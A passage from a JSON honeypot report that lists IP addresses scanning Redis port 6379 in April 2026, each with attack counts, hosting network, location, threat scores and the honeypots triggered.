      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "160.187.107.47": {
      "attack_count": 29,
      "first_seen": "2026-04-01T18:25:58.000Z",
      "last_seen": "2026-04-17T21:25:18.593Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 153119,
      "as_org": "PT Intan Pariwara",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T18:25:58+00:00",
        "last_seen_30d": "2026-04-17T21:25:18.593000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 4
      }
    },
    "183.56.219.190": {
      "attack_count": 28,
      "first_seen": "2026-04-03T13:33:05.000Z",
      "last_seen": "2026-04-21T06:45:06.975Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 135089,
      "as_org": "China Telecom",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T13:33:05+00:00",
        "last_seen_30d": "2026-04-21T06:45:06.975000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "20.175.198.133": {
      "attack_count": 28,
      "first_seen": "2026-04-08T05:22:45.000Z",
      "last_seen": "2026-04-20T02:55:07.926Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:22:45+00:00",
        "last_seen_30d": "2026-04-20T02:55:07.926000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "185.224.128.16": {
      "attack_count": 27,
      "first_seen": "2026-04-06T05:50:15.000Z",
      "last_seen": "2026-04-10T12:59:01.121Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2426,
        "days_active_30d": 30,
        "ports_targeted_30d": 682,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T00:02:37.049000+00:00",
        "last_seen_30d": "2026-04-30T23:34:28.894000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1832,
        "Honeytrap": 584,
        "Dionaea": 4,
        "ConPot": 3,
        "Redishoneypot": 3
      }
    },
    "221.130.29.85": {
      "attack_count": 27,
      "first_seen": "2026-04-04T01:51:41.000Z",
      "last_seen": "2026-04-23T04:18:27.149Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 40.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.6,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T01:51:41+00:00",
        "last_seen_30d": "2026-04-23T04:18:27.149000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Redishoneypot": 9,
        "Honeytrap": 4
      }
    },
    "64.62.156.108": {
      "attack_count": 26,
      "first_seen": "2026-04-29T13:11:11.000Z",
      "last_seen": "2026-04-29T13:12:58.413Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 30,
        "ports_targeted_30d": 82,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T09:23:59+00:00",
        "last_seen_30d": "2026-04-30T15:25:17.862000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 227,
        "Honeytrap": 92,
        "H0neytr4p": 15,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "Adbhoney": 4,
        "Dionaea": 4,
        "ConPot": 1
      }
    },
    "65.49.1.162": {
      "attack_count": 26,
      "first_seen": "2026-04-15T17:40:23.000Z",
      "last_seen": "2026-04-15T17:42:21.030Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 30,
        "ports_targeted_30d": 72,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T09:17:38+00:00",
        "last_seen_30d": "2026-04-30T11:20:10.455000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 207,
        "Honeytrap": 78,
        "Ciscoasa": 13,
        "Redishoneypot": 11,
        "H0neytr4p": 9,
        "Adbhoney": 4,
        "ConPot": 4,
        "Cowrie": 3,
        "Dionaea": 2,
        "Ipphoney": 1
      }
    },
    "172.178.83.199": {
      "attack_count": 23,
      "first_seen": "2026-04-18T01:34:31.000Z",
      "last_seen": "2026-04-18T01:37:23.351Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 68.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.2,
        "persistence": 21.7,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 26,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T02:46:17+00:00",
        "last_seen_30d": "2026-04-29T15:40:42.178000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 12,
        "Redishoneypot": 5
      }
    },
    "172.202.118.45": {
      "attack_count": 23,
      "first_seen": "2026-04-04T20:46:04.000Z",
      "last_seen": "2026-04-04T20:48:47.096Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 74.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 29,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T02:08:34+00:00",
        "last_seen_30d": "2026-04-30T14:02:27.001000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 6,
        "Redishoneypot": 5
      }
    },
    "174.138.46.29": {
      "attack_count": 22,
      "first_seen": "2026-04-28T07:16:50.000Z",
      "last_seen": "2026-04-28T07:27:01.130Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 68.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.6,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 457,
        "days_active_30d": 2,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-27T12:58:39+00:00",
        "last_seen_30d": "2026-04-28T23:01:28.260000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 300,
        "Honeytrap": 144,
        "Redishoneypot": 8,
        "ElasticPot": 4,
        "Dionaea": 1
      }
    },
    "216.180.246.180": {
      "attack_count": 21,
      "first_seen": "2026-04-05T10:46:10.000Z",
      "last_seen": "2026-04-05T11:09:48.337Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 42.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.6,
        "persistence": 10.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 13,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-05T10:05:14.545000+00:00",
        "last_seen_30d": "2026-04-17T04:51:54.182000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 157,
        "Honeytrap": 60,
        "Redishoneypot": 9,
        "Sentrypeer": 1
      }
    },
    "46.101.166.141": {
      "attack_count": 21,
      "first_seen": "2026-04-20T15:17:21.000Z",
      "last_seen": "2026-04-20T15:18:28.726Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 63.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 164589,
        "days_active_30d": 5,
        "ports_targeted_30d": 64651,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-20T15:14:19+00:00",
        "last_seen_30d": "2026-04-24T13:03:12.705000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 139069,
        "Honeytrap": 25466,
        "Mailoney": 12,
        "Dionaea": 11,
        "Miniprint": 8,
        "ConPot": 7,
        "Cowrie": 5,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "47.236.24.189": {
      "attack_count": 21,
      "first_seen": "2026-04-01T03:07:42.000Z",
      "last_seen": "2026-04-24T05:28:56.781Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T03:08:45.219000+00:00",
        "last_seen_30d": "2026-04-24T05:28:56.781000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 3
      }
    },
    "120.48.35.163": {
      "attack_count": 20,
      "first_seen": "2026-04-01T22:42:38.000Z",
      "last_seen": "2026-04-17T16:00:36.984Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T22:43:41.539000+00:00",
        "last_seen_30d": "2026-04-17T16:00:36.984000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "3.16.215.202": {
      "attack_count": 20,
      "first_seen": "2026-04-02T01:59:42.000Z",
      "last_seen": "2026-04-11T02:02:33.932Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 12,
        "ports_targeted_30d": 107,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T18:18:57.424000+00:00",
        "last_seen_30d": "2026-04-12T11:12:32.135000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 176
      }
    },
    "64.23.193.149": {
      "attack_count": 20,
      "first_seen": "2026-04-01T11:55:28.000Z",
      "last_seen": "2026-04-01T11:56:36.611Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 144693,
        "days_active_30d": 8,
        "ports_targeted_30d": 65521,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-01T11:53:15+00:00",
        "last_seen_30d": "2026-04-08T19:20:32.689000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 124953,
        "Honeytrap": 19684,
        "Mailoney": 12,
        "Dionaea": 9,
        "Miniprint": 8,
        "ConPot": 7,
        "Cowrie": 7,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "140.82.9.37": {
      "attack_count": 19,
      "first_seen": "2026-04-02T06:26:27.000Z",
      "last_seen": "2026-04-02T06:27:37.065Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T06:26:28+00:00",
        "last_seen_30d": "2026-04-02T06:27:37.065000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "143.244.128.100": {
      "attack_count": 19,
      "first_seen": "2026-04-29T02:00:53.000Z",
      "last_seen": "2026-04-29T02:01:56.064Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 73.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 124831,
        "days_active_30d": 1,
        "ports_targeted_30d": 64039,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-29T01:58:10+00:00",
        "last_seen_30d": "2026-04-29T02:10:14.321000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108899,
        "Honeytrap": 15872,
        "Cowrie": 12,
        "Mailoney": 12,
        "ConPot": 8,
        "Dionaea": 8,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "157.230.241.63": {
      "attack_count": 19,
      "first_seen": "2026-04-02T00:48:08.000Z",
      "last_seen": "2026-04-04T06:05:27.055Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T00:48:08+00:00",
        "last_seen_30d": "2026-04-04T06:05:27.055000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "157.230.214.78": {
      "attack_count": 18,
      "first_seen": "2026-04-05T13:21:57.000Z",
      "last_seen": "2026-04-05T13:23:09.466Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T13:21:57+00:00",
        "last_seen_30d": "2026-04-05T13:23:09.466000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 2
      }
    },
    "161.35.117.174": {
      "attack_count": 18,
      "first_seen": "2026-04-22T10:31:55.000Z",
      "last_seen": "2026-04-22T10:42:11.744Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T10:31:55+00:00",
        "last_seen_30d": "2026-04-22T10:42:11.744000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 2
      }
    },
    "137.184.74.1": {
      "attack_count": 17,
      "first_seen": "2026-04-28T07:16:43.000Z",
      "last_seen": "2026-04-28T07:17:52.693Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T07:16:43+00:00",
        "last_seen_30d": "2026-04-28T07:17:52.693000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 2
      }
    },
    "8.210.123.17": {
      "attack_count": 17,
      "first_seen": "2026-04-01T15:35:11.000Z",
      "last_seen": "2026-04-01T15:37:01.870Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 60.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.4,
        "persistence": 22.5,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 27,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T15:36:25.006000+00:00",
        "last_seen_30d": "2026-04-27T19:22:30.360000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Tanner": 2,
        "Dionaea": 1
      }
    },
    "86.54.31.42": {
      "attack_count": 17,
      "first_seen": "2026-04-09T13:52:34.000Z",
      "last_seen": "2026-04-09T14:00:23.179Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 12989,
      "as_org": "Black HOST Ltd",
      "threat_score": 67.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.2,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 24,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T08:27:19.208000+00:00",
        "last_seen_30d": "2026-04-24T10:51:36.662000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 203,
        "Honeytrap": 54,
        "Redishoneypot": 5,
        "Dionaea": 1
      }
    },
    "89.248.167.131": {
      "attack_count": 17,
      "first_seen": "2026-04-28T14:01:48.000Z",
      "last_seen": "2026-04-28T14:02:54.769Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 95.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 337,
        "days_active_30d": 30,
        "ports_targeted_30d": 57,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T18:11:54+00:00",
        "last_seen_30d": "2026-04-30T21:23:16.658000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 239,
        "Honeytrap": 89,
        "Redishoneypot": 5,
        "ConPot": 3,
        "Sentrypeer": 1
      }
    },
    "130.131.162.156": {
      "attack_count": 16,
      "first_seen": "2026-04-25T07:10:20.000Z",
      "last_seen": "2026-04-25T07:13:31.526Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 55.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.8,
        "persistence": 16.7,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 20,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-06T03:29:18+00:00",
        "last_seen_30d": "2026-04-25T07:13:31.526000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 9,
        "Redishoneypot": 3,
        "Dionaea": 2
      }
    },
    "20.102.92.213": {
      "attack_count": 16,
      "first_seen": "2026-04-04T12:39:14.000Z",
      "last_seen": "2026-04-04T12:41:06.705Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 15.0,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 18,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-04T12:40:04+00:00",
        "last_seen_30d": "2026-04-21T06:10:38.845000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 5,
        "Redishoneypot": 3,
        "Dionaea": 1
      }
    },
    "40.119.40.152": {
      "attack_count": 16,
      "first_seen": "2026-04-18T17:48:59.000Z",
      "last_seen": "2026-04-18T17:50:30.764Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 15.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 19,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T12:11:03.502000+00:00",
        "last_seen_30d": "2026-04-26T23:31:17.515000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Redishoneypot": 3,
        "Honeytrap": 2
      }
    },
    "135.237.126.169": {
      "attack_count": 15,
      "first_seen": "2026-04-22T07:14:03.000Z",
      "last_seen": "2026-04-22T07:15:49.435Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 53.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 20.0,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 24,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T11:43:05.061000+00:00",
        "last_seen_30d": "2026-04-27T23:38:02.784000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Honeytrap": 3,
        "Redishoneypot": 3
      }
    },
    "172.206.225.242": {
      "attack_count": 15,
      "first_seen": "2026-04-26T11:06:20.000Z",
      "last_seen": "2026-04-26T11:08:48.406Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
